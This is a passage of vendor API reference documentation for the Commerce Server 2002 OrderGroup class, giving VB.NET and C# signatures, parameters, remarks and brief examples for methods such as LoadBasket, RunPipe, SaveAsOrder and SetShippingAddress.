Use this method to clear the OrderGroup object of all OrderForm objects and address dictionaries.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub Clear()
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void Clear();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.GetAddress Method (PIA)

Use this method to get the specified address Dictionary object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetAddress(
  strAddressId As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using Microsoft.CommerceServer.Interop;       //For IDictionary

…

public IDictionary GetAddress(
  string strAddressId
);

Parameters

[Visual Basic .NET]
strAddressId
A String that specifies the address ID.
[C#]
strAddressId
A string that specifies the address ID.

Return Values

[Visual Basic .NET] If the specified address is found, this method returns a reference to that Dictionary object, otherwise it returns a Null object.

[C#]

This method returns the Microsoft.CommerceServer.Interop.IDictionary interface to a Dictionary object.

If the specified address is not found, the IDictionary interface is to a null object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' dDict is a Dictionary object

dDict = oOrderGroup.GetAddress("{C4F9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.GetItemInfo Method (PIA)

Use this method to get a reference to the line-item dictionary from the specified OrderForm object at the specified index. If the strOrderFormName parameter is not supplied, it defaults to "default".

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetItemInfo(
  nItemIndex As Integer,
  Optional strOrderFormName As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using Microsoft.CommerceServer.Interop;       //For IDictionary
…
public IDictionary GetItemInfo(
  intnItemIndex,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
nItemIndex
An Integer that specifies the line-item index.
strOrderFormName
An Object that specifies the OrderForm object name.
[C#]
nItemIndex
An int that specifies the line-item index.
strOrderFormName
An object that specifies the OrderForm object name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Dictionary object that contains the line-item information.

[C#] This method returns an IDictionary interface to the Dictionary object containing the line-item information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' dDict is a Dictionary Object
dDict = oOrderGroup.GetItemInfo(3, "testOrderFormName")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.GetOrderFormAsXML Method (PIA)

Use this method to convert an OrderForm object into an XML string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetOrderFormAsXML(
  nXMLLocale As String,
  Optional strOrderFormName As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string GetOrderFormAsXML(
  string nXMLLocale,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
nXMLLocale
A String that specifies the locale used in the XML string conversion.
strOrderFormName
An Object that specifies the OrderForm object.
[C#]
nXMLLocale
A string that specifies the locale used in the XML string conversion.
strOrderFormName
An object that specifies the OrderForm object.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the XML string.

[C#] This method returns a string indicating whether or not it completed successfully.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • Use of the DictionaryXMLTransforms object is recommended when exchanging XML through BizTalk Server. The DictionaryXMLTransforms object allows you to write out XML to a well-defined schema.
[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' lLocale is a valid Locale identifier
sXMLResultString is a String
sXMLResultString = oOrderGroup.GetOrderFormAsXML(lLocale, myOrderFormName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.AddXMLAsOrderForm


OrderGroup.GetOrderFormValue Method (PIA)

Use this method to get an attribute from an OrderForm object, based on a specified key.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetOrderFormValue(
  strKey As String,
  Optional strOrderFormName As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object GetOrderFormValue(
  string strKey,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
strKey
A String that contains the key that specifies the attribute to get.
strOrderFormName
An Object that specifies the OrderForm object name.
[C#]
strKey
A string that contains the key that specifies the attribute to get.
strOrderFormName
An object that specifies the OrderForm object name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the attribute.

[C#] This method returns an object containing the requested attribute.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the strOrderFormName parameter is not supplied, the strOrderFormName parameter defaults to "default".

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup Object
vResult is an Object

vResult = oOrderGroup.GetOrderFormValue(handling_total, _
"testOrderFormName")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.Initialize Method (PIA)

Use this method to initialize the OrderGroup object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub Initialize(
  strConnectionString As String,
  strUserID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void Initialize(
  string strConnectionString,
  string strUserID,
  object lrucache
);

Parameters

[Visual Basic .NET]
strConnectionString
A String that contains the database connection string.
strUserID
A String that specifies the user ID. All Commerce Server 2002 user ID values are GUIDs.
[C#]
strConnectionString
A string that contains the database connection string.
strUserID
A string that specifies the user ID. All Commerce Server 2002 user ID values are GUIDs.
lrucache
An object specifying a Microsoft.CommerceServer.Interop.Caching.LRUCache object to use.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Use this method to specify the connection string that the OrderGroup object uses for its database operations. You also specify a user_id that the object will use as an OrderGroup_id when performing basket operations. This same user_id value will be stored in the g_UserIDChangedBy field.

Note

  • If you are loading an OrderGroup object on behalf of another user (for example as an administrator), you should specify the administrator user ID (or a placeholder user ID GUID that signifies administrative authority) so that g_UserIDChangedBy is updated with the appropriate value when the OrderGroup object is saved back to the database. If you wish to load an OrderGroup object with a Basket status in the role of an administrator, you must specify strUserID as the user ID of the user whose basket you wish to load. In this case g_UserIDChangedBy will not be updated with an administrator user ID.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic .NET]

Example

' oOrderGrp is a Commerce.OrderGroup Object
' sConnString is a valid connection string to the Commerce database
oOrderGrp.Initialize(sConnString, _
    "{D4F9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.LoadBasket Method (PIA)

Use this method to load the basket for the current user from the database. If the basket for the user ID specified in the Initialize method cannot be found, this method initializes an empty in-memory basket.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub LoadBasket()
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void LoadBasket();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.LoadOrder

OrderGroup.LoadTemplate

OrderGroup.SaveAsBasket


OrderGroup.LoadOrder Method (PIA)

Use this method to load an OrderGroup object from disk. This method returns an error if the OrderGroup object cannot be found.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub LoadOrder(
  strOrderGroupID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void LoadOrder(
  string strOrderGroupID
);

Parameters

[Visual Basic .NET]
strOrderGroupID
A String that specifies the OrderGroupID of the OrderGroup object to be loaded.
[C#]
strOrderGroupID
A string that specifies the OrderGroupID of the OrderGroup object to be loaded.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The LoadOrder method can be used to load any OrderGroup object whose status does not equal basket or template.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.LoadOrder("{EEF9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.LoadBasket

OrderGroup.LoadTemplate

OrderGroup.Initialize

OrderGroup.SaveAsOrder


OrderGroup.LoadTemplate Method (PIA)

Use this method to load the specified template from the database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub LoadTemplate(
  strOrderGroupID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void LoadTemplate(
  string strOrderGroupID
);

Parameters

[Visual Basic .NET]
strOrderGroupID
A String that specifies the OrderGroupID of the template to be loaded.
[C#]
strOrderGroupID
A string that specifies the OrderGroupID of the template to be loaded.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup Object
oOrderGroup.LoadTemplate("{EEF9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.LoadOrder

OrderGroup.LoadBasket

OrderGroup.SaveAsTemplate


OrderGroup.PurgeUnreferencedAddresses Method (PIA)

Use this method to remove all addresses in the OrderGroup object that are not being referenced by any line-item shipping_address_id or OrderForm object billing_address_id.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub PurgeUnreferencedAddresses()
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void PurgeUnreferencedAddresses();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.PutItemValue Method (PIA)

Use this method to put the specified values into the specified keys of the line item.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub PutItemValue(
  strKey As String,
  vtValue As Object,
  Optional bOverWrite As Boolean,
  Optional nItemIndex As Object,
  Optional strOrderFormName As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void PutItemValue(
  string strKey,
  object vtValue,
  bool bOverWrite,
  object nItemIndex,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
strKey
A String that specifies the key whose attribute will store the value specified by the vtValue parameter.
vtValue
An Object that specifies the value to store in the attribute of the key specified by the strKey parameter.
bOverWrite
A Boolean that indicates whether to overwrite the existing attribute of the key specified by the strKey parameter. A value of True indicates that the attribute will be overwritten. A value of False indicates that the attribute will not be overwritten.
nItemIndex
An Object that specifies the line-item index.
strOrderFormName
An Object that specifies the OrderForm object name.
[C#]
strKey
A string that specifies the key whose attribute will store the value specified by the vtValue parameter.
vtValue
An object that specifies the value to store in the attribute of the key specified by the strKey parameter.
bOverWrite
A bool that indicates whether to overwrite the existing attribute of the key specified by the strKey parameter. A value of true indicates that the attribute will be overwritten. A value of false indicates that the attribute will not be overwritten if one already exists.
nItemIndex
An object that specifies the line-item index.
strOrderFormName
An object that specifies the OrderForm object name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the line-item index is specified, this method sets the name/value pair for the specified line item on the OrderForm object specified in the strOrderFormName parameter. (The strOrderFormName parameter defaults to "default" if unspecified.)

If the line-item index is not specified, this method sets the name/value pair for all line items for the specified OrderForm object. If no OrderForm object name is specified, this method sets the name/value pair for all line items in the OrderGroup object.

If there is no OrderForm object for the strOrderFormName specified in the strOrderFormName parameter, one is created.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup Object
oOrderGroup.PutItemValue(payment_method, credit_card, False)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.PutOrderFormValue Method (PIA)

Use this method to set an attribute on an OrderForm object. If the strOrderFormName parameter is supplied, and the OrderForm object does not exist in the OrderGroup object, then a new OrderForm object with the supplied name is created.

If strOrderFormName is not supplied, the parameter defaults to "default".

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub PutOrderFormValue(
  strKey As String,
  vtValue As Object,
  Optional strOrderFormName As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void PutOrderFormValue(
  string strKey,
  object vtValue,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
strKey
A String that specifies the key whose attribute will store the value specified by the vtValue parameter.
vtValue
An Object that specifies the value to store in the attribute of the key specified by the strKey parameter.
strOrderFormName
An Object that specifies the OrderForm object name.
[C#]
strKey
A string that specifies the key whose attribute will store the value specified by the vtValue parameter.
vtValue
An object that specifies the value to store in the attribute of the key specified by the strKey parameter.
strOrderFormName
An object that specifies the OrderForm object name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup Object
oOrderGroup.PutOrderFormValue(handling_total, "$ 421.23")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.RemoveItem Method (PIA)

Use this method to remove a line item from the specified OrderForm object. The item index specified indicates which line item to remove.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub RemoveItem(
  Optional nItemIndex As Object,
  Optional strOrderFormName As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void RemoveItem(
  object nItemIndex,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
nItemIndex
An Object that specifies the line-item index. If this value is null, all items in the OrderForm object are removed.
strOrderFormName
An Object that specifies the OrderForm object name. If the strOrderFormName parameter is not supplied, the strOrderFormName parameter defaults to "default". If both the nItemIndex and the strOrderFormName parameters are not supplied, then all items in all OrderForm objects are removed.
[C#]
nItemIndex
An object that specifies the line-item index. If this value is null, all items in the OrderForm object are removed.
strOrderFormName
An object that specifies the OrderForm object name. If the strOrderFormName parameter is not supplied, the strOrderFormName parameter defaults to "default". If both the nItemIndex and the strOrderFormName parameters are not supplied, then all items in all OrderForm objects are removed

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.AddItem


OrderGroup.RemoveOrderForm Method (PIA)

Use this method to remove the specified OrderForm object from the OrderGroup object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub RemoveOrderForm(
  strOrderFormName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void RemoveOrderForm(
  string strOrderFormName
);

Parameters

[Visual Basic .NET]
strOrderFormName
A String that specifies the OrderForm object to remove.
[C#]
strOrderFormName
A string that specifies the OrderForm object to remove.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.RemoveOrderForm("myOrderFormName")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.AddOrderform


OrderGroup.RunPipe Method (PIA)

Use this method to run the Pipeline Component File on each OrderForm object in the OrderGroup object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function RunPipe(
  strPCF As String,
  strPipelineProgID As String,
  oContext As Object
) As Integer
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public int RunPipe(
  string strPCF,
  string strPipelineProgID,
  object oContext
);

Parameters

[Visual Basic .NET]
strPCF
A String that specifies the Pipeline Component File file path (for example, c:\SampleDir\SampleFile.pcf).
strPipelineProgID
A String that specifies the pipeline ProgID.
oContext
An Object reference that specifies the pipeline context.
[C#]
strPCF
A string that specifies the Pipeline Component File file path (for example, c:\SampleDir\SampleFile.pcf).
strPipelineProgID
A string that specifies the pipeline ProgID.
oContext
An object that contains the pipeline context.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer that specifies the maximum error level encountered by the pipeline runs.

[C#] This method returns an int indicating the maximum error level encountered by the pipeline runs.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

When OrderGroup.RunPipe is called, the OrderGroup object instantiates and runs the pipeline for each of its contained OrderForm objects. The pipeline objects themselves continue to be passed a regular OrderForm, as if they were run in a stand-alone pipeline. In fact, a pipeline component has no way of knowing whether it is running on an OrderForm within an OrderGroup, or on a stand-alone OrderForm.

There are cases where you want the pipeline component to know about all items in the OrderGroup object, regardless of whether those items are from differing vendors (for example, a discount component). If this is the case, you should not use the multiple-OrderForm feature of the OrderGroup object (adding all items to the same OrderForm). In these cases, you can use the Splitter pipeline component to produce views of items from different vendors on your OrderForm object.

When calling OrderGroup.RunPipe, you can rely on the aggregation features of the OrderGroup object to produce grand totals across all OrderForms. OrderGroup.RunPipe automatically aggregates many common fields. If you wish to aggregate additional fields, use OrderGroup.AggregateOrderformValues.

Additionally, this method computes grand totals across each OrderForm object for each of the following properties:

OrderForm Value | Grand Total on the OrderGroup
_cy_oadjust_subtotal | saved_cy_oadjust_subtotal
_cy_total_total | saved_cy_total_total
_cy_shipping_total | saved_cy_shipping_total
_cy_handling_total | saved_cy_handling_total
_cy_tax_total | saved_cy_tax_total
_cy_tax_included | saved_cy_tax_included

Many pipeline keys are prefixed by "_", which by default means they will not be persisted to the database. Occasionally, you might want to take snapshots of these keys, and by convention, the prefix "saved_" is used in this situation. Using the "saved_" prefix allows you to refer to these keys later and to search them by using SQL statements or the OrderGroupManager object. Copied keys should not be trusted as being up-to-date. Also, they should not be used by pipeline components directly.

The OrderGroup object has a LogFile property that can be used to set the log file for the RunPipe method.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' lResult is a long
' oContext specifies the pipeline context
lResult = oOrderGroup.RunPipe("c:\myPCFFile.pcf", _
    "Commerce.PooledPipeline, oContext)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

Pipeline Basics

OrderGroup Class

OrderGroup.LogFile


OrderGroup.SaveAsBasket Method (PIA)

Use this method to save the OrderGroup object to the database with a basket status.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function SaveAsBasket() As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object SaveAsBasket();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that specifies the OrderGroupID.

[C#] This method returns an object containing the OrderGroupID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method sets the OrderGroup object status to "basket", and sets the OrderGroupID equal to the user ID.

If the OrderGroup object was not loaded from a basket, this method deletes any existing on-disk basket before inserting the order group into the data storage.

If the OrderGroup object was loaded from a basket, this method performs an update or insert depending on whether the OrderGroup was found on disk on the load call. If you load a template or order and call the SaveAsBasket method, the template or order that was originally loaded remains unchanged on disk.

When the OrderGroup.SaveAsOrder, SaveAsBasket, or SaveAsTemplate methods are called, four values are copied from the first OrderForm in the OrderGroup into the OrderGroup object itself. If any of these values already existed at the OrderGroup level, they are overwritten with the values copied from the OrderForm. If the value was Null or never set on the OrderForm, and the value was set on the OrderGroup, the OrderGroup value is overwritten with Null. The values replaced in the OrderGroup are user_first_name, user_last_name, billing_currency, and user_org_name.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' oResult is an Object
oResult = oOrderGroup.SaveAsBasket()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.LoadBasket

OrderGroup.SaveAsOrder

OrderGroup.SaveAsTemplate


OrderGroup.SaveAsOrder Method (PIA)

Use this method to save the OrderGroup object to the database with an order status.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function SaveAsOrder(
  Optional vtOutTrackingNumber As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
object SaveAsOrder(
  out object vtOutTrackingNumber
);

Parameters

[Visual Basic .NET]
vtOutTrackingNumber
An Object that specifies the tracking number. If specified, this Object must be a non-literal value; when the method returns, it will contain the tracking number.
[C#]
vtOutTrackingNumber
On input, an object used to specify the tracking number.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that specifies the OrderGroupID.

[C#] This method returns an object indicating the OrderGroupID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method sets the OrderGroup object status to "order" if the current status is template, basket, or undefined. (All other states are left alone; this allows orders to be in many states, such as pending approval, rejected, and so on.) You can set the state to any value except basket or template before calling the SaveAsOrder method; this method will not overwrite the state.

If this is the first time the order is saved, a special field will be written that records the order creation date. If an OrderTrackingNumber already exists on the OrderForm object (under the key order_number) before the save, a new one will not be generated. This feature allows for ERP-based tracking numbers.

If the OrderGroup object was loaded from a template or from a basket, this method will generate a new OrderGroupID and tracking number, and perform a database insert. If the OrderGroup does not yet exist on disk, this method will generate an OrderGroupID and tracking number and perform a database insert. If the OrderGroup was loaded from any other state, this method will perform a database update. If there are multiple OrderForms associated with an OrderGroup, all the OrderForms will share the same tracking number.

When the OrderGroup.SaveAsOrder, SaveAsBasket, or SaveAsTemplate methods are called, four values are copied from the first OrderForm in the OrderGroup into the OrderGroup object itself. If any of these values already existed at the OrderGroup level, they are overwritten with the values copied from the OrderForm. If the value was Null or never set on the OrderForm, and the value was set on the OrderGroup, the OrderGroup value is overwritten with Null. The values replaced in the OrderGroup are user_first_name, user_last_name, billing_currency, and user_org_name.

If you load a basket or template and call the SaveAsOrder method, the basket or template remains unchanged on disk. For this reason, a call to the SaveAsOrder method is typically followed by a call to OrderGroupManager.DeleteOrderGroupFromDisk.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup Object
' vResult is an Object
' vTrackingNumber is an Object
vResult = oOrderGroup.SaveAsOrder(vTrackingNumber)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.SaveAsBasket

OrderGroup.SaveAsTemplate


OrderGroup.SaveAsTemplate Method (PIA)

Use this method to save the OrderGroup object to the database with a template status.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function SaveAsTemplate(
  Optional strTemplateName As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
object SaveAsTemplate(
  object strTemplateName
);

Parameters

[Visual Basic .NET]
strTemplateName
An Object that specifies the template name.
[C#]
strTemplateName
An object that specifies the template name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that specifies the OrderGroupID of the template.

[C#] This method returns an object containing the OrderGroupID of the template.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method updates the OrderGroup object template name field if the strTemplateName parameter is supplied.

If you originally loaded the OrderGroup object from another state (for example, a basket) and call the SaveAsTemplate method, the original OrderGroup remains on disk unchanged.

When the OrderGroup.SaveAsOrder, SaveAsBasket, or SaveAsTemplate methods are called, four values are copied from the first OrderForm in the OrderGroup into the OrderGroup object itself. If any of these values already existed at the OrderGroup level, they are overwritten with the values copied from the OrderForm. If the value was Null or never set on the OrderForm, and the value was set on the OrderGroup, the OrderGroup value is overwritten with Null. The values replaced in the OrderGroup are user_first_name, user_last_name, billing_currency, and user_org_name.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' vResult is an Object
vResult = oOrderGroup.SaveAsTemplate()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.SaveAsBasket

OrderGroup.SaveAsOrder


OrderGroup.SetAddress Method (PIA)

Use this method to add a specified address dictionary to the addresses collection of the OrderGroup object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SetAddress(
  strAddressId As String,
  oAddressDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using Microsoft.CommerceServer.Interop;       //For IDictionary
…
public void SetAddress(
  string strAddressId,
  IDictionary oAddressDict
);

Parameters

[Visual Basic .NET]
strAddressId
A String that specifies the address ID of the address to be added.
oAddressDict
A Dictionary object that contains the address information to be added.
[C#]
strAddressId
A string that specifies the address ID of the address to be added.
oAddressDict
A Microsoft.CommerceServer.Interop.IDictionary interface to the Dictionary object that contains the address.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' oAddDict is an address Dictionary object
oOrderGroup.SetAddress("{AABBC9CC-C33E-11D0-B8A0-00C04FB616C7}", oAddDict)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.SetAddressFromFields


OrderGroup.SetAddressFromFields Method (PIA)

Use this method to set the OrderGroup object address dictionary values as specified by the supplied Fields object. The column names in the field object will be mapped to dictionary key names in the resultant address dictionary.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SetAddressFromFields(
  strAddressId As String,
  flds As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using ADODB26Lib;                              //For Fields
…
public void SetAddressFromFields(
  string strAddressId,
  Fields flds
);

Parameters

[Visual Basic .NET]
strAddressId
A String that specifies the address ID of the address dictionary to be added.
flds
A Fields object that contains the address information to be added.
[C#]
strAddressId
A string that specifies the address ID of the address dictionary to be added.
flds
An ADODB26Lib.Fields object that contains the address information to be added.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOG is a Commerce.OrderGroup object
' oFlds is a Fields object
oOG.SetAddressFromFields("{34ECC9CC-C33E-11D0-B8A0-00C04FB616C7}", _
    oFlds)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.SetAddress


OrderGroup.SetShippingAddress Method (PIA)

Use this method to set the shipping address ID for the specified line items.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SetShippingAddress(
  address_id As String,
  Optional bOverWrite As Boolean,
  Optional nItemIndex As Object,
  Optional strOrderFormName As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void SetShippingAddress(
  string address_id,
  bool bOverWrite,
  object nItemIndex,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
address_id
A String that specifies the address ID to designate as the shipping address.
bOverWrite
A Boolean that indicates whether to overwrite the shipping_address_id, if it already exists. A value of True indicates that an overwrite should occur. A value of False indicates that an overwrite should not occur.
nItemIndex
An Object that specifies the line-item index where the shipping_address_id will be set. If not specified, all line items will be set.
strOrderFormName
An Object that specifies the OrderForm object to perform the operation. If not specified, all OrderForms will be used if nItemIndex is unspecified; otherwise, the "default" OrderForm will be used.
[C#]
address_id
A string that specifies the address ID to designate as the shipping address.
bOverWrite
A bool that indicates whether to overwrite the shipping_address_id, if it already exists. A value of true indicates that an overwrite should occur. A value of false indicates that an overwrite should not occur.
nItemIndex
An object that specifies the line-item index where the shipping_address_id will be set. If not specified, all line items will be set.
strOrderFormName
An object that specifies the OrderForm object on which to perform the operation. If not specified, all OrderForms will be used if nItemIndex is unspecified; otherwise, the "default" OrderForm will be used.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

